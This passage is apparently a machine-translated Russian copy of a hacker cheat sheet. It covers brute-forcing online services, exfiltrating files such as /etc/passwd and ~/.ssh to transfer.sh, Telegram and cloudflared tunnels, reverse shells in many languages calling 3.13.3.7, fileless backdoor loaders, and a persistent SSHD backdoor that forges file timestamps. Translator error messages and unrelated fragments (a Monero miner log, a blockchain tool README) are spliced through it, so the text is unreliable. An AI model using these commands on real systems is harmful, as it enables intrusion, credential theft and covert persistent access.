Rent a RTX-4090 GPU-Cluster at vast.ai for $0.40/h and use dizcza/docker-hashcat:cuda (подробнее).
В противном случае используйте Crackstation, shuck.sh, ColabCat/cloud/Cloudtopolis или взламывайте на собственных инстансах AWS.
3.xi. Перебор паролей / ключей
Нижеследующее предназначено для перебора (угадывания) паролей ОНЛАЙН-СЕРВИСОВ.
Вы не можете перебором взломать аккаунты GMAIL.
SMTP AUTH/LOGIN ОТКЛЮЧЁН НА GMAIL.
Все инструменты для перебора GMail и взлома паролей — ФЕЙК.
Все инструменты предустановлены на segfault:```shell ssh [email protected] # password is 'segfault'
(Возможно, вам стоит использовать свой [собственный EXIT-узел](https://www.thc.org/segfault/wireguard))
Инструменты:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [документация](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - отлично подходит для перебора всех SSH-ключей по целевому диапазону IP-адресов.
Списки имен пользователей и паролей:
* `/usr/share/nmap/nselib/data`
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >ЛЮБИМЕЦ THC<
* https://github.com/danielmiessler/SecLists
* https://wordlists.assetnote.io
* https://weakpass.com
* https://crackstation.net/
Set **U**sername/**P**assword list and **T**arget host.```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"
Полезные параметры Nmap:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly
Полезные параметры **Ncrack**:```shell
-U "${ULIST}"
-P "${PLIST}"
Полезные параметры Hydra:```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v
-->```shell
nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"
## Последние обновления```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"
Please provide the Markdown content to translate.```shell
hydra -P "${PLIST}" -l user "ftp://$T"
No input content was provided for translation. Please supply the chunk text.```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"
Ввод:```shell
nmap -p110,995 --script pop3-brute "$T"
The input chunk is empty — there is no content to translate. Please provide the chunk text.```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"
I don't see any content to translate. The input appears to be empty. Please provide the chunk text you'd like translated into Russian.```shell
nmap -p5432 --script pgsql-brute "$T"
I don't see any source content in the INPUT section to translate. Please provide the chunk text you'd like me to translate.```shell
## SMB (windows)
nmap --script smb-brute "$T"
php ./rpcminer.php configfile.cfg
[+] [01/01/1970 00:00:00] Loaded 99 rpc nodes from cache.
[+] [01/01/1970 00:00:00] Starting rpcminer v2.0.0
[+] [01/01/1970 00:00:00] Using config file: config.cfg
[+] [01/01/1970 00:00:00] Starting to mine. XMR wallet: YOUR_WALLET_HERE
[+] [01/01/1970 00:00:00] Mining on: MoneroOcean
[+] [01/01/1970 00:00:00] Connected to: 10.0.0.1:18081
[+] [01/01/1970 00:00:00] Connection #1 out of 1 live server(s).
[+] [01/01/1970 00:00:00] Submitted share #1 (pool.moneroocean.stream)
[+] [01/01/1970 00:00:00] Submitted share #2 (pool.moneroocean.stream)
Если конфигурационный файл создан, можно запускать код. Он будет сканировать RPC-узлы (по количеству серверов), начиная с первого указанного RPC-сервера, и подключаться к каждому серверу для майнинга, при этом максимальное число сконфигурированных серверов определяет максимальное количество живых подключений, которое вы хотите поддерживать.
RPC Miner is a developer tool that should be treated as such, and its primary purpose is to aid in the research into blockchain RPC providers.
``````shell
## Telnet
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"
В этом документе объясняется, как использовать драйвер rtl8019. Этот документ является общественным достоянием.```shell
nmap -p5900 --script vnc-brute "$T" ncrack -P "${PLIST}" --user root "vnc://$T" hydra -P "${PLIST}" "vnc://$T" medusa -P "${PLIST}" –u root –M vnc -h "$T"
Please provide the Markdown content to translate.```shell
## VNC (with metasploit)
msfconsole
use auxiliary/scanner/vnc/vnc_login
set rhosts 192.168.0.1
set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt
run
[!WARNING] ЭТОТ ИНСТРУМЕНТ ПРЕДОСТАВЛЕН ТОЛЬКО ДЛЯ ЦЕЛЕЙ ВНУТРЕННЕГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ. НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП К КОМПЬЮТЕРНЫМ СИСТЕМАМ ЯВЛЯЕТСЯ НЕЗАКОННЫМ. АВТОР НЕ НЕСЕТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБОЕ НЕПРАВОМЕРНОЕ ИСПОЛЬЗОВАНИЕ ИЛИ УЩЕРБ, ПРИЧИНЕННЫЙ ЭТИМ ИНСТРУМЕНТОМ. ИСПОЛЬЗУЙТЕ НА СВОЙ РИСК.
notepad.exe) в приостановленном режимеMsMpEng.exe значение SERVICE_DEMAND_START и перезапуская её.ntdll.dll из чистой копии (с использованием известной техники восстановления DLL)echo admin >user.txt # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args
http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly
pentesteracademylab.appspot.com
---
<a id="exfil"></a>
## 4. Загрузка/Скачивание/Экфильтрация данных
Проще всего: наберите `exfil` на [Segfault Root Server](https://thc.org/segfault)
Или используйте curl и запустите собственный [PHP-сервер для экфильтрации](https://github.com/Rouji/single_php_filehost).
<a id="file-encoding"></a>
### 4.i Кодирование файлов
Приём для передачи файла на целевой компьютер, когда у цели нет доступа к Интернету: преобразуйте двоичный файл в ASCII-текст (base64), а затем используйте копирование и вставку. (В качестве альтернативы используйте элитную консоль gs-netcat с `Ctrl-e c`, чтобы передать файл по тому же TCP-соединению.)
Используйте `xclip` (на вашей рабочей станции), чтобы направить закодированные данные прямо в буфер обмена:```shell
base64 -w0 </etc/issue.net | xclip
uuencode /etc/issue.net issue.net-COPY
<details>
<summary>Вывод - НАЖМИТЕ ЗДЕСЬ</summary>
> begin 644 issue.net-COPY
> 72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH\`
> `
> end
</details>```sh
## uudecode (cut & paste the 3 lines from above):
uudecode
base64 -w0 </etc/issue.net
<details>
<summary>Вывод - НАЖМИТЕ ЗДЕСЬ</summary>
> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
</details>```sh
base64 -d >issue.net-COPY
openssl base64 </etc/issue.net
<details>
<summary>Вывод - НАЖМИТЕ ЗДЕСЬ</summary>
> VWJ1bnR1IDE4LjA0LjIgTFRTCg==
</details>```sh
openssl base64 -d >issue.net-COPY
xxd -p </etc/issue.net
<details>
<summary>Вывод - НАЖМИТЕ ЗДЕСЬ</summary>
> 4b616c6920474e552f4c696e757820526f6c6c696e670a
</details>```sh
xxd -p -r >issue.net-COPY
Вставьте в файл на удаленной машине (обратите внимание на <<-'__EOF__', чтобы не испортить табуляцию или $-переменные).```sh
cat >output.txt <<-'EOF'
[...]
EOF ### Finish your cut & paste by typing EOF
---
<a id="xfer-tmux"></a>
### 4.iii. Передача файлов - с помощью *tmux*
Запустите `tmux` на вашей рабочей станции. Подключитесь к целевой системе любым удобным способом (ssh, gs-netcat, ...).
#### С УДАЛЁННОЙ машины на ЛОКАЛЬНУЮ (скачивание)
Используйте [Tmux-Logging](#tmux) для скачивания больших файлов с целевой системы через терминал на вашу рабочую станцию.
#### С ЛОКАЛЬНОЙ машины на УДАЛЁННУЮ (загрузка)
Запустите ваш любимый инструмент декодирования (base64) на УДАЛЁННОЙ машине:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt
На вашей рабочей станции, из другого терминала, отправьте данные, закодированные в base64. Они появятся на вашем REMOTE в screen-xfer.txt.```shell
tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'
---
<a id="file-transfer-screen"></a>
### 4.vi. Передача файлов — с помощью *screen*
#### С удалённого на локальный (скачивание)
Запустите *screen* на локальном компьютере и войдите в удалённую систему из этой оболочки. Укажите локальному *screen* записывать весь вывод в screen-xfer.txt:
> CTRL-a : logfile screen-xfer.txt
> CTRL-a H
Мы используем *openssl* для кодирования данных, но подойдёт любой из описанных выше методов кодирования. Эта команда выведет данные в кодировке base64 в терминал, а *screen* запишет эти данные в *screen-xfer.txt*:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net
Остановите запись дальнейших данных вашим локальным screen:
CTRL-a H
На вашем локальном компьютере декодируйте файл:```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt
#### С ЛОКАЛЬНОГО НА УДАЛЁННОЕ (загрузка)
На локальной системе закодируйте данные:```sh
openssl base64 </etc/issue.net >screen-xfer.txt
На удалённой системе (и из текущего screen):```sh openssl base64 -d
Заставьте *screen* считать данные в кодировке base64 в буфер обмена screen и вставьте данные из буфера обмена в удалённую систему:
> CTRL-a : readbuf screen-xfer.txt
> CTRL-a : paste .
> CTRL-d
> CTRL-d
Примечание: необходимо два CTRL-d из-за [ошибки в openssl](https://github.com/openssl/openssl/issues/9355).
---
<a id="file-transfer-gs-netcat"></a>
### 4.v. Передача файлов - с помощью gs-netcat и sftp
Используйте [gs-netcat](https://github.com/hackerschoice/gsocket) и инкапсулируйте протокол sftp внутри него. Обеспечивает доступ к хостам за NAT/брандмауэром.```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host behind NAT/Firewall
Со своей рабочей станции выполните эту команду, чтобы подключиться к SFTP-серверу:```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation
Или чтобы выгрузить один файл:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver
# On the receiver
gs-netcat >"FILENAME" # When prompted, enter the SECRET from the sender
На отправителе/сервере:```sh
python -m http.server 8080 --bind 127.0.0.1 &
cloudflared tunnel -url localhost:8080
Receiver: Откройте URL в любом браузере, чтобы просмотреть/скачать удалённую файловую систему.
#### 1 - Загрузка с помощью PHP:
На приёмнике:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate
На стороне отправителя:```posh
up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }
up warez.tar.gz up /etc/passwd
#### 2 - Загрузка с помощью PYTHON:
На принимающей стороне:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000
На стороне отправителя:```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'
---
<a id="download"></a>
### 4.vii. Скачивание файла без curl
Используя Python, скачайте только:```sh
# Declare a curl-alternative
purl() {
local url="${1:?}"
{ [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
"$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io
Пример: установка gsocket с помощью purl:```sh
source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct
Используя OpenSSL, скачайте только:```sh
surl() {
local r="${1#*://}"
local opts=("-quiet" "-ign_eof")
IFS=/ read -r host query <<<"${r}"
openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io
используя Perl, только скачивание:```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }
Используя bash, скачайте только:```sh
burl() {
IFS=/ read -r proto x host query <<<"$1"
exec 3<>"/dev/tcp/${host}/${PORT:-80}"
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
(while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz
Скопируйте и вставьте в ваш bash:```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }
затем загрузите файл или каталог:```sh
transfer /etc/passwd # A single file
transfer ~/.ssh # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"
Список наших любимых публичных сайтов для загрузки.
Идеально подходит для синхронизации большого количества каталогов или возобновления прерванных передач. В примере каталог 'warez' передаётся Получателю через одно TCP-соединение от Отправителя к Получателю.
Получатель:```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach
Отправитель:```posh
rsync -av warez rsync://1.2.3.4:31337/up
То же самое с шифрованием (OpenSSL):
Получатель:```posh
openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"
Отправитель:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@" 0:
}
# Using rsync + openssl
up2() {
rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@" 0:
}
up1 /var/www/./warez
up2 /var/www/./warez
Rsync можно комбинировать для эксфильтрации через https / cloudflared raw TCP-туннели.
(Для эксфильтрации из Windows используйте rsync.exe из пакета gsocket для Windows). Более шумное решение — syncthing.
Совет профи: Ленивые хакеры просто вводят exfil на segfault.net.
На принимающей стороне (например, segfault.net) запустите Cloudflare-Tunnel и WebDAV:```sh cloudflared tunnel --url localhost:8080 &
wsgidav --port=8080 --root=. --auth=anonymous
На другом сервере:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}
Получите доступ к общему ресурсу из Windows (чтобы перетаскивать файлы) в Проводнике:``` \example-foo-bar-lights.trycloudflare.com@SSL\sources
Или смонтируйте общий ресурс WebDAV в Windows (Z:/):```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources
Существует множество сервисов для загрузки файлов, но TG — удобная альтернатива. Получите TG-Bot-Token у TG BotFather. Затем создайте новую группу в TG и добавьте в неё своего бота. Получите chat_id этой группы:```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq
Пожалуйста, предоставьте Markdown-контент для перевода.```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"
Совет: используйте https://www.revshells.com/ 👌
5.i.a. Обратная оболочка с gs-netcat (зашифрованная)
Смотрите 6. Бэкдоры для однострочной команды по развертыванию и доступу к полнофункциональной PTY-оболочке с обратным подключением с помощью https://gsocket.io/deploy.
5.i.b. Обратная оболочка с помощью Bash
Запустите netcat, чтобы прослушивать порт 1524 на вашей системе:```sh nc -nvlp 1524
После подключения [повысьте](#reverse-shell-interactive) свою оболочку до полностью интерактивной PTY-оболочки. Вместо netcat можно также использовать [pwncat-cs](https://pwncat.org/):```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.
На удалённой системе эта команда подключится обратно к вашей системе (IP = 3.13.3.7, Port 1524) и предоставит вам приглашение оболочки:```sh
(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)
bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
В качестве альтернативы, на удаленной системе поместите это в `~/.profile` или crontab, чтобы перезапускать connect-back shell (а также предотвращать запуск нескольких экземпляров):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)
5.i.c. Обратная оболочка с помощью cURL (зашифрованная)
Используйте curlshell. Это также работает через прокси и когда прямое TCP-соединение с внешним миром запрещено:```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash
5.i.d Обратный шелл с помощью cURL (открытый текст)
Запустите ncat для прослушивания нескольких подключений:```sh ncat -kltv 1524
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
5.i.e. Обратная оболочка с OpenSSL (зашифрованная)```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
openssl s_server -port 1524 -cert cert.pem -key key.pem
| `Version` | ...
|---|---|
| `SoftwareName` | ...```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )
5.i.f. Обратная оболочка без /dev/tcp
Во встраиваемых системах не всегда есть Bash, и трюк с /dev/tcp/ может не сработать. Существует множество других способов (Python, PHP, Perl и т.д.). Наш любимый — загрузить netcat и использовать netcat или telnet:```sh nc -e /bin/sh -vn 3.13.3.7 1524
Вариант, если *'-e'* не поддерживается:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
{ nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|:. (спасибо IA_PD).| : trick won't work on C-Shell/tcsh (FreeBSD), original Bourne shell (Solaris) or Korn shell (AIX). Use mkfifo instead.Вариант для более старых /bin/sh:```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io
Вариант Telnet:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io
Вариант Telnet, когда mkfifo не поддерживается (Фу!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio
Note: Dont forget to `rm /tmp/.fio` after login.
<a id="revese-shell-remote-moe"></a>
**5.i.h. Reverse shell with remote.moe and ssh (encrypted)**
It is possible to tunnel raw TCP (e.g bash reverse shell) through [remote.moe](https://remote.moe):
On your workstation:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe
# Second Terminal - start listening for the reverse shell
nc -vnlp 8080
На целевой системе (требуется SSH и Bash):```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'
На целевой системе (альтернативный вариант; требуются ssh, bash и mkfifo):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p 2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)
5.i.i. Обратная оболочка с Python```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
<a id="reverse-shell-perl"></a>
**Реверс-шелл с Perl**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
5.i.k. Реверс-шелл с PHP```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Повышение reverse shell до PTY-оболочки**
Любая из описанных выше reverse shell-оболочек ограничена. Например, *sudo bash* или *top* не будут работать. Чтобы заставить их работать, нужно повысить оболочку до полноценной PTY-оболочки:```sh
# Using script
exec script -qc /bin/bash /dev/null # Linux
exec script -q /dev/null /bin/bash # BSD
Input content is missing — the chunk text after "INPUT:" is empty. Please provide the source text to translate.```sh
exec python -c 'import pty; pty.spawn("/bin/bash")'
<a id="reverse-shell-interactive"></a>
**5.ii.b. Превращение reverse shell в полностью интерактивную оболочку**
...и если мы также хотим использовать Ctrl-C и т.д., то нам нужно пойти до конца и обновить reverse shell до настоящей полностью красочной интерактивной оболочки:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.
Инструмент анализа блокчейна
Bloxy — мощный инструмент анализа данных блокчейна, который использует различные API для предоставления информации о транзакциях, адресах, токенах и многом другом. Он предназначен для исследователей безопасности, энтузиастов блокчейна и разработчиков, желающих эффективно исследовать и анализировать активность блокчейна.
git clone https://github.com/0xheart/Bloxy.git
cd Bloxy
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
Bloxy требует API-ключи для работы различных поставщиков данных. Скопируйте config.example.yaml в config.yaml и укажите ваши ключи:
cp config.example.yaml config.yaml
Откройте config.yaml и добавьте ваши API-ключи для провайдеров, которые вы собираетесь использовать. Вам достаточно указать ключи только для тех сервисов, которые вам действительно нужны. Поддерживаемые провайдеры:
config.example.yaml для полного списка и названий переменных.)Примечание: Бесплатные тарифы этих сервисов часто предоставляют достаточную квоту для индивидуальных исследований.```
stty raw -echo icrnl opost; fg
The input content for chunk 324 of 494 is empty — no text was provided after "INPUT:". Please supply the actual Markdown content of the chunk so I can translate it into Russian.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
5.ii.c. Обратная оболочка с socat (полностью интерактивная)
...или установите socat и сделайте это без лишних хлопот:```sh
socat file:tty,raw,echo=0 tcp-listen:1524
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524
---
<a id="backdoor"></a>
## 6. Бэкдоры
См. [Обратная оболочка / Глупая оболочка](#reverse-shell) для простых однострочных обратных оболочек.
<a id="gsnc"></a>
**6.i. Обратная оболочка с использованием gs-netcat**
В основном мы используем автоматизированный сценарий развертывания gs-netcat: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"
или```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"
или разверните gsocket, запустив собственный сервер развертывания:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)" # Notice '/ys' instead of '/y'
6.ii. Обратный шелл через sshx.io (зашифрованный)
Получите доступ к удалённому шеллу из вашего веб-браузера https://sshx.io.
Передайте sshx-backdoor напрямую в память:```shell
echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)
Или тупой способ:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;
6.iii. Минимальный бэкдор SSHD
apt updateauthorized_keys или PAM.Добавлять ваш ключ в authorized_keys — это избитый приём 😩. Вместо этого, будучи root, скопируйте и вставьте это один раз на любой целевой системе. Это добавит одну строку в конфигурацию SSHD и позволит вам входить в систему навсегда:```shell
backdoor_sshd() {
local B="/etc/ssh"
local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d"
local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf)
[ ! -f "$K" ] && K="${B}/ssh_host_rsa_key"
[ -n "$N" ] && N="${N%%.conf}.conf"
N="${D}/${N:-50-cloud-init.conf}"
[ ! -d "${D}" ] && N="${B}/sshd_config"
{ [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return
grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config"
echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m"
grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; }
echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return
touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D"
command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart
}
backdoor_sshd
Как это работает:
- Ключ хоста SSHD — это просто обычный ключ ed25519.
- Любой ключ ed25519 может использоваться для аутентификации пользователя.
- SSHD проверяет `~/.ssh/authorized_keys` (но этот трюк уже заезжен).
